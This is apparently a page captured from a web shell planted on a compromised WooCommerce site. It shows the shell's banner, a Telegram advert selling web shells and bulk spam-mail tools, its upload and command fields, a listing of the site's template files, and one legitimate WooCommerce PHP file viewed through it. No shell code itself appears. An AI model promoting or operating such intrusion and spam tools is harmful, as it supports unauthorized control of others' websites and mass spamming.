__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Automattic\WooCommerce\Blocks\Templates;

use Automattic\WooCommerce\Blocks\Templates\ArchiveProductTemplatesCompatibility;
use Automattic\WooCommerce\Blocks\Utils\BlockTemplateUtils;

/**
 * ProductCatalogTemplate class.
 *
 * @internal
 */
class ProductCatalogTemplate extends AbstractTemplate {

	/**
	 * The slug of the template.
	 *
	 * @var string
	 */
	const SLUG = 'archive-product';

	/**
	 * Initialization method.
	 */
	public function init() {
		add_action( 'template_redirect', array( $this, 'render_block_template' ) );
		add_filter( 'current_theme_supports-block-templates', array( $this, 'remove_block_template_support_for_shop_page' ) );
	}

	/**
	 * Returns the title of the template.
	 *
	 * @return string
	 */
	public function get_template_title() {
		return _x( 'Product Catalog', 'Template name', 'woocommerce' );
	}

	/**
	 * Returns the description of the template.
	 *
	 * @return string
	 */
	public function get_template_description() {
		return __( 'Displays your products.', 'woocommerce' );
	}

	/**
	 * Run template-specific logic when the query matches this template.
	 */
	public function render_block_template() {
		if ( ! is_embed() && ( is_post_type_archive( 'product' ) || is_page( wc_get_page_id( 'shop' ) ) ) && ! is_search() ) {
			$compatibility_layer = new ArchiveProductTemplatesCompatibility();
			$compatibility_layer->init();

			$templates = get_block_templates( array( 'slug__in' => array( self::SLUG ) ) );

			if ( isset( $templates[0] ) && BlockTemplateUtils::template_has_legacy_template_block( $templates[0] ) ) {
				add_filter( 'woocommerce_disable_compatibility_layer', '__return_true' );
			}
		}
	}

	/**
	 * Remove the template panel from the Sidebar of the Shop page because
	 * the Site Editor handles it.
	 *
	 * @see https://github.com/woocommerce/woocommerce-gutenberg-products-block/issues/6278
	 *
	 * @param bool $is_support Whether the active theme supports block templates.
	 *
	 * @return bool
	 */
	public function remove_block_template_support_for_shop_page( $is_support ) {
		global $pagenow, $post;

		if (
			is_admin() &&
			'post.php' === $pagenow &&
			function_exists( 'wc_get_page_id' ) &&
			is_a( $post, 'WP_Post' ) &&
			wc_get_page_id( 'shop' ) === $post->ID
		) {
			return false;
		}

		return $is_support;
	}
}

Filemanager

Name Type Size Permission Actions
AbstractPageTemplate.php File 1.81 KB 0664
AbstractTemplate.php File 737 B 0664
AbstractTemplateCompatibility.php File 5.76 KB 0664
AbstractTemplatePart.php File 332 B 0664
AbstractTemplateWithFallback.php File 1.8 KB 0664
ArchiveProductTemplatesCompatibility.php File 12.43 KB 0664
CartTemplate.php File 1.96 KB 0664
CheckoutHeaderTemplate.php File 863 B 0664
CheckoutTemplate.php File 2 KB 0664
ClassicTemplatesCompatibility.php File 2.37 KB 0664
ComingSoonSocialLinksTemplate.php File 1.11 KB 0664
ComingSoonTemplate.php File 2.58 KB 0664
ExternalProductAddToCartWithOptionsTemplate.php File 1021 B 0664
GroupedProductAddToCartWithOptionsTemplate.php File 1016 B 0664
MiniCartTemplate.php File 1.67 KB 0664
OrderConfirmationTemplate.php File 1.58 KB 0664
ProductAttributeTemplate.php File 2.69 KB 0664
ProductBrandTemplate.php File 1.74 KB 0664
ProductCatalogTemplate.php File 2.26 KB 0664
ProductCategoryTemplate.php File 1.74 KB 0664
ProductSearchResultsTemplate.php File 2.02 KB 0664
ProductTagTemplate.php File 1.72 KB 0664
SimpleProductAddToCartWithOptionsTemplate.php File 1011 B 0664
SingleProductTemplate.php File 9.17 KB 0664
SingleProductTemplateCompatibility.php File 14.43 KB 0664
VariableProductAddToCartWithOptionsTemplate.php File 1021 B 0664
Filemanager